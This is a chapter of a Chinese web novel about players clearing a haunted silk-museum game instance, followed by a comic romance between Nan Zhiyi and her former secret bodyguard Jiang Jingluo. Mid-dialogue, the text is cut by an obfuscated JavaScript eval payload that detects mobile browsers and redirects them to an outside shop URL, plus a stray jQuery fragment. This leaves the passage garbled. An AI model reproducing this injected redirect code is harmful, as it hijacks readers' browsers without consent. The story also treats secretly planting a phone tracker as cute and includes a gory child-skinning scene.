南知意并不知道中年女士死过一次,故而她没有一点惊讶,穿过一众肌肉紧绷的玩家,施施然打着哈欠去庭院石桌上拿早餐油条吃。
江景洛跟在南知意身后,他快速扫过中年女人。他同样不感到害怕,反而像是找到解题关键般,舒了一口气。
这个宅子对应现实中的蚕丝博物馆。
在副本世界里,如果副本与现实有关联,那么鬼怪大抵对现实有不满之事,听明白副本鬼怪的诉求,在现实世界中改变就行。
现在死掉的人又回到了队伍中,就好像想把本来的名声夺回来。
此时此刻,玩家已经在鬼怪和内斗中死掉一半。
江景洛在看到中年女士时,知道这是boss,游戏终于要结束了。
南知意就坐在中年女人旁边,夹起来金黄酥脆的油条,泡到白粥里,头也不抬吃饭。
江景洛坐到她身旁,他盯着中年女人问:“我们能帮你什么?”
鬼怪的夙愿,往往需要玩家在现实中改变。
他虽然语调平静,但是手上已经攥紧了自己的卡牌,金光闪闪的【贪婪】卡,随时准备保命。
南知意疑惑抬头,好似不解中年女人的身份,她不是来当家教的吗?为什么江同学要这么问?是想借她讲义吗?
她迷惑零点五秒,又低头吃饭。这滚烫白粥酥脆油条凉了就不好吃了。
中年女人放下茶杯,缓缓发问:“你们觉得所谓的崔氏,是博物馆呈现的样子吗?”
博物馆里,崔氏家族被塑造成一群意气风发的男人。他们是当地的大救星,是无数赞誉的承载体。
江景洛闭口不答。
南知意扒拉一口油条,却难得开了口。
“我觉得不是。”
她语出惊人:“我觉得崔氏是一群女人。”
南知意丝毫不知道自己面对的是死而复生的百年鬼怪。江景洛仍是捏紧卡牌,担心鬼怪突然的发难。
中年女人的目光缓缓落在南知意身上。
江景洛的眉头已经压下来,他身上所有的卡牌都蓄势待发,提防她会对南知意不利。
可是中年女人唇角却扯出一个微笑,缓缓点了头。
她的语调苍茫悠远,含着丝叹息。
“是的。崔氏应当是女人的模样。”
她缓缓说出当年旧事。
崔氏一族是此地有名的望族,但是早已经枯败。崔氏这个氏族,读书实在不怎么样,却迂腐至极。
男人们不做任何事,只是读书,却没有读出来名堂。家里面的底子被一点一点侵蚀,没有什么钱财了,男人们还是要面子,不肯从商不肯做活。
而这个读书家族里的妻子与女儿们,却谋出了一条新的生计。
女人们养蚕,她们琢磨出了养蚕的秘诀,蚕越养越好,逐渐可以通过此项致富。
她们在书籍上绘画记录下蚕的成长,悉心记载蚕的用餐和剥丝方法。
养蚕的秘诀,在妯娌之间,母女之间,姐妹之间,代代相传。
崔家又发达起来,周围贫苦的村民们来问养蚕秘诀。女人们从不吝啬,倾囊相授,带着这一众村落吃饱穿暖。
她们只要能帮助到村民就好,不期望有人歌功颂德。
但是数十年后,数百年后。此地留下养蚕的传说,建造养蚕博物馆。所谓的助人为乐的崔氏,却全成了男人的形象。
她们在泥泞贫困时挑起大梁,在风雪袭来时救助众生,现在却被男人占据了功劳。她们的功劳被人全部揽走。
即便不期待被人歌颂功德,但也不能平白无故被抢走功劳,还是被不学无术的丈夫们公公们。
“崔氏”不甘心。
江景洛听完全部信息,沉吟着:“你想要澄清?”
中年女人点头。
蚕,死亡与重生。肉l体即便死亡,清白名声仍要重生。她不甘心姐姐妹妹的功绩全部被这些什么都没有付出的男人们占领。
中年女人给出证据,她喊过来三个小孩:“这是我养的蚕成精所化,把他们剥皮,蚕衣上会有世人认同的证据。”
江景洛第一时间望向南知意,生怕这番话令她感到害怕。
南知意果然震惊地停下来筷子。
这几个孩子太调皮了吗?要这样惩罚?
江景洛咳嗽一声,站起身,朝中年女伸手:“借一步说话。”
中年女并不是不讲理的鬼怪,她瞥眼目瞪口呆的南知意和明显有所顾虑的江景洛,她点了个头,起身去别的房间。
江景洛随着前往,衣角却被人一扯。
他回过头来,南知意面露纠结,扯住他的卫衣衣角,皱眉提醒:“江同学,暴力打学生,是犯法的。”
“嗯。我有分寸。”
江景洛带着苏喜乐跟中年女去了小房间。
既然boss下了指令,玩家必然要执行。
他们需要把三个孩子剥皮。虽然心里面知道这是游戏必然的一环,这只是成了精的蚕,没有思想的。但是在过程中,又会觉得这些孩子是人类,所以内心很纠结,下手实在为难。
苏喜乐拖着尸体,边吐边下刀子裁皮肤。
蚕衣剥下来,小孩子们的魂灵化成蛾子,嘻嘻笑着飞远。数百年来,终于从幼蚕变成飞蛾。
刀下裁出来的血迹斑斑的蚕衣,就是写了血书资料的证据。
这场死了不少人的关卡,如此轻易破开。
深锁的大宅院敞开大门。
南知意吃完饭刚打个哈欠,江景洛就拿着一叠证据出来。
“我们去一趟民俗蚕丝博物馆。”
南知意点点头。
江景洛将血衣递给了民俗博物馆的领导,告知真相。这些血衣上写满了崔氏家族的秘辛,桩桩件件有迹可查。
领导推着银丝眼镜大为震惊:“竟是如此,我会召开记者会,澄清这项研究。”
“她们也不该叫崔氏,她们也有自己的名字。”
到此,任务完成。
随着现实世界中,蚕丝博物馆里,那群男人雕像被撤下,神态各异的女性雕像被建造,副本被彻底封印上。
这次副本力量不再外泄,这一块不再遭殃。
南知意拿着草莓味冰淇淋,不明白江同学为什么一星期里来了五次蚕丝博物馆。
苏喜乐知道队长是在确认副本能量有没有完全被封上,但是她不能讲,她只借此机会八卦。
“队长。”苏喜乐挤眉弄眼,“你和南同学是什么关系呀?”
江景洛正在拍照:“只是些普通同学间的友情。”
这句话恰巧被南知意听到,她点点头:“对的,我和江同学不熟。”
苏喜乐:……我觉得不太对。
南知意舔着冰淇淋,看着江景洛流畅的手臂线条,她又开始制定目标,先和他的手指贴贴,再和他的手掌贴贴,然后是胳膊,然后是胸膛,然后再拥抱……
“我能看看你拍的照片吗?”南知意问。
江景洛毫不设防,随手将手机递过去。
南知意装模作样看看,还回手机。已经悄悄在他手机上下一枚定位器。
可不要小瞧了她同人大神一天画五张图的手速,也不要小瞧了南宫家族千金搞到最先进定位器的手段!
这枚小巧定位器,贴合在手机扬声器不起眼的缝隙里。
江景洛接回手机,又突然僵了一瞬。
南知意紧张,手心出汗:“怎么了?”
这是她第一次下定位器,可不要被当场抓捕啊。
江景洛耳尖闪过不易察觉的红,他当然没有发现定位器。
他只是想起来,相册里有一堆偷拍南知意的照片,从校园时期到她休学前,每次偶遇时拍下她的背影或侧影或远景。希望她刚刚没有下滑相册。
他轻咳了一声:“没事。”
南知意犹犹豫豫后,又从爱马仕包里面掏出一个盒子,上面是百达翡丽的标志。
她捧过着暗黑色的礼物盒子,双手往前递过去,踌躇着:“江同学,我想送你一块新手表。”
她编好理由:“谢谢你带我做实践报告。”
这一定是个天衣无缝的理由!她就可以借着给他戴手表的机会,再摸一把他的手了!
贴一贴!早日治疗好渴肤症!
旁听的苏喜乐已经麻木了。南小姐被骗了被卖了,还要送天价礼物吗?这表得上百万了吧?
“不用。”江景洛笑起来,桃花眼灼灼,“卖了我我也配不上这块表呀。”
南知意的表情一下子耷拉下来,她眼睛瞬间就布满水雾,眼角泛红,雾气蒙蒙。
她还以为自己的理由很自然,居然被这样无情拒绝了。
那滴眼泪落地很快,啪嗒一下就在地面晕染出一朵花。
江景洛的唇角凝固,他知道南知意是泪失禁体质,可是现在没有任何激发要素吧!
苏喜乐见势不好,一把把队长推到南知意身前。她自己不当电灯泡,掉头就走,像是下定了某种决心。
清新的海盐柠檬味扑在南知意面前,可是她只是拿指腹擦眼泪。
“……为……为什么哭?”江景洛下颌绷紧。
他在脑海里搜寻无数南知意哭泣时的原因,小时候被狗咬了哭,中学时骑车摔了哭,大学时丢了手机哭。
为什么会在此时此刻哭呢?他应当不该是她哭泣的缘由啊。
南知意的手还是死死攥紧礼物盒,白皙修长的手指和暗黑色的手表盒色调对比鲜明。
“小南,别哭了好吗?”江景洛生硬哄劝。
在他伪装路人,路过她人生的无数个瞬间里,他处理过很多次她哭泣的事件。
比如,扔石头打跑凶她的狗,扶好她摔倒的车,找到她丢失的手机。
可是没有哪一次是当着他的面,因为他而哭泣。
江景洛有些技穷了。面对哭泣的南知意,他完全没有任何面对副本的游刃有余。
他只是长了一副花花公子的好皮相,但是他是个死直男。他除了能说“别哭”他还能做什么呢?
最后,他词穷了:“你有什么需求呢?”
南知意从哭泣的指缝里偷看他,在泪眼婆娑中,江同学的脸居然还是很好看。
她小声:“我希望你收下手表。”
她更小声补充:“再给我摸摸。”
“行。”江景洛干脆利落。
他解开衬衫袖口的扣子,往上挽了挽,一直卷到小臂,露出漂亮结实的肌肉线条。
南知意的眼泪就像骤然停下的阵雨,果然不哭了。
她高高兴兴擦掉眼泪。利落抽走礼物盒子的蝴蝶结丝带。
表盒里露出来的是浅白色内衬,一枚闪烁哑光的百达翡丽黑色腕表。
南知意将表带按在江景洛的手腕。他的手腕匀称偏瘦,旁边突出来的腕骨很有韵味。
咔哒。表带长度刚刚好。
冰凉的手表戴在手腕,下一瞬,柔软而温热的手掌贴合住他的手掌。
南知意终于摸到江景洛的手。
她的另一只手捂在胸口,闭眼微笑,下一秒就能安详平躺升天。
呜呜呜终于摸到了,渴肤症让她像一条渴水的鱼,此刻源源不断的甘霖在肌肤结合处涌流,从每个毛孔到干涸心田,全部被彻底滋润滋养。
南知意安详了好一会。
才终于心满意足松开了手。
她第一下松手时居然没松掉,她诧异低头,发现掌心贴合的姿势不知道什么时候变成了十指相扣。
她又挣脱了一下,这下另一只手才恍然大悟般松开。
南知意没有在意这样的小细节,她礼貌道谢:“谢谢你,江同学,下次我再来找你。”
她没有认知到这样的牵手在人际交往中是什么样的标准,她对感情一无所知。
她准备回家了。
“江同学再见。”
另一个人同样没有丝毫认知:“嗯。再见。”
躲在树下的苏喜乐无语地望着这两个人。
但凡是个正常人,都能看出来他俩不是“普通同学”,但是两个当事人真的没有任何自知。
苏喜乐叉着腰,眉头紧锁,决定还是要当个善良的月老,帮助队长一下。
在南知意戴上绿白相间的头盔,准备骑上定制摩托车时,苏喜乐望眼不远处,望着回到博物馆前沉迷找线索的队长,她飞速跑到南知意身边。
“南同学。”苏喜乐眨个眼,“我谈过上百个前男友,恋爱经验丰富,你如果有恋爱问题,多和我联系哦。”
南知意诚实摇头:“我没有恋爱问题啊。”
苏喜乐疑惑:“所以你不想和队长谈恋爱吗?”
南知意再次真情实意摇摇头。
苏喜乐有点遗憾。
南知意捏拳:“我只想包养他!”
她虔诚:“如果可以的话,让江同学住在我为他准备的地下室里,就更好了!”
苏喜乐瞳孔震惊,被直接的话语冲击到没有及时回复。
南知意仍然滔滔不绝:“苏同学,你能不能帮我问问江同学,一个月给他多少钱,他才愿意被我包养?”
她凑近,“五百万可以吗?”
苏喜乐:……哈哈,我看起来很像是想被队长揍成肉酱的样子吗?
苏喜乐清清嗓子,掩饰自己的失态,仍然发挥自己的恋爱绝学,循循善诱:“你喜欢他什么呢?”
南知意想想,自己试图和他接触,想利用他治疗好渴肤症:“我喜欢他的身体。”
苏喜乐:???
苏喜乐试图理解:“你是说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609817|205904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你喜欢队长的皮相?”
“嗯,江同学长得好看。”
“除此之外呢?”
南知意严肃摇摇头:“没有了。”
苏喜乐咬着自己的美甲,有点难办了啊。
南知意已经戴好头盔,沉吟:“真要说还有什么的话,我还是想牵江同学的手,摸摸他的腹肌,如果可以的话,一年这样贴贴三百六十五天就好了。闰年给他放天假。”
南知意诚恳:“但是我会给他钱的,不会借着谈恋爱的名义,占他便宜。”
苏喜乐眼神复杂。
太棒了,是木头,我们没救了!
*
苏喜乐目送南知意骑着摩托一阵风般走远,她又回到队长面前,抓着队长盘问。
“队长!”苏喜乐捡起一片树叶横在脖子前,“告诉我你和南宫家大小姐的过往,不然我死给你看!”
有八卦却吃不了,比死还难受啊!
江景洛正在回复上司的消息,这次副本世界封印有功,加工资。
他心情不错,口头松了些:“没有什么过往,就是同学。”
苏喜乐把树叶往脖子抵得更深,目光决绝。
江景洛瞥她,按下手机:“那我联系你哥来收尸?”
“队长!”苏喜乐哀嚎,“让我听一听吧!”
“真的没有什么交情,就是普通同学。”
江景洛关掉手机,望着手腕的黑色手表,倒是心情极好,简单讲一了一下他和南知意相处的过去。
这是一个单视角的过往。
*
南知意从小就有怪病,能看到无数悬浮的黑眼珠。
故而她不能上学,很长一段时间都在小姨就职的研究所里。几乎是从幼儿园待到中学。
很巧。南宫家投资金钱和人力的实验室,正好就是和江景洛所服务的组织密切合作的一家。
江景洛被养父捡回来,在组织里养大。他学课堂上的知识,也学组织里的手段。
他闲不住,有时帮忙拿东西,就去隔壁研究所逛逛。
在很偶然的一天。
江景洛注意到了这个女孩子。
她非常的漂亮可爱,衣服配饰都是奢侈品牌。
但是显然的,她比普通同龄人更加瘦弱矮小,脸色是常年生病的苍白。
她不上学,就在研究所里待着。看书,画画,听音乐,睡觉。
午休前,她喜欢在实验室里喜欢扔网球。一个简单的锻炼室,周围铺了防滑垫,反弹效果很好。这是一筐被人拿错的网球,黄绿色,阴差阳错成了她的玩具。
这是南知意最喜欢的玩乐,从孩童时一直持续到她上私立学校时,她放假还是会来扔球。
她喜欢把球砸过去,看网球砸到墙壁后乱七八糟弹,她喜欢观察这样无序的线条轨迹。
有时候会画下来,有时候只是记在脑海。
她砸了一筐,然后去另一个房间休息十五分钟。十五分钟后,她再次回来时,球又全部回到箱子里装好。
她再砸一轮,今天结束,明天再来,又是新的一筐整齐摆放的球。孜孜不倦,持续了好多年。
她一直以为是有机器人。研究所里的机器人帮她把杂乱无章的网球收回了筐子里。
其实不是。那是江景洛捡起来摆放的。
这只是一个很小的事情。
他注意到了这个女孩子,知道这是她为数不多的玩乐方式。所以他会在另一个房间里隔着半透明门,看着她玩,在她玩腻了时,他去房间里捡起所有的凌乱的球,放回框子里摆好,在她回来时离开。
很小很小的事情。
直到江景洛读中学时的某一天,南知意的小姨叫住了他。
这个穿着白大褂戴眼镜的年轻女人,是当今科研界说一不二的存在,是科学界绝对的权威。
她推了下眼镜,和蔼问江景洛:你是组织里的最强新生,我知道组织是想把你当成继承人培养的。你现在在上学,能不能帮我个忙?
她所提出的帮忙,就是当南知意的保镖。
暗地里,不可以被南知意发现,但一定要存在的保镖。
小姨委婉而为难:我知道这件事情不容易,但是你是最强的,又和她只差一两岁,在学校里有共同轨迹,拜托你了。
江景洛答应了。
于是他在南知意身后,当了近十年的保镖。
看着她读私立中学,趴在围栏旁,眼巴巴望着路边摊。
看着她来到公立学校,她成绩好跳了一级,在与他打招呼时,结结巴巴纠正他:“我不是学妹,是你的同学。”
看着她读大学,她抱着书本走到他面前,惊讶问他:“江同学,我们其实见过面的呢。”
他自小就知道自己会进副本,哪天丢了命也不知道。但是在他做南知意的保镖时,他看着这个女孩,又觉得人间很是鲜活,得惜命多保护她一程。
南知意在他不知道的地方跟踪了十几天。
江景洛在她不知道的时候看了她十几年。
他一直是她背后捡球的人。
只是她忘了,他又觉得无所谓。
觉得无所谓的事情,又怎么会是谈资,不值得拿来谈的。
所以他们之间,谈不上有什么交集。
苏喜乐目瞪口呆听完全程。
在整个叙事过程中,江景洛的表情不变,甚至手上还在回复组织内部消息。
苏喜乐艰难回神,伸出手在江景洛面前挥动一下。
“嗯?”江景洛抬眼。
“那你为什么要对南知意这么好呢?”
江景洛惊讶,又重复了一遍:“因为我听了小南家里人的话,注意保护她啊。”
他甚至纠正:“我对她完全称不上什么好,只是普通同学情谊。”
苏喜乐目光复杂,她真的很想讲:队长,买本爱情小说看看吧,你这可能完全不止是“普通同学情谊”了。
苏喜乐从来没见过这么不开窍之人。
——也不对,十分钟前她刚刚见过一个,骑摩托车走了。
苏喜乐咽下口水,循循善诱:“队长,如果换个人,你会捡球吗?”
江景洛:“……不会。”
繁琐重复的事情,为什么要做。
苏喜乐还是最后的期待:“那你想,为什么,为什么你不答应保护别人,却只保护南同学她呢?”
江景洛真的放下手机,压低眉头,认真想了想。
然后他在苏喜乐满怀期待的目光下,恍然大悟道:
“那当然因为南宫家秘密支持了组织很多钱。因为她小姨和我们有合作啊。”
他总结:“我这算是为了组织效力。”
苏喜乐彻底绝望了。
太棒了,是两根木头,我们彻底没救了!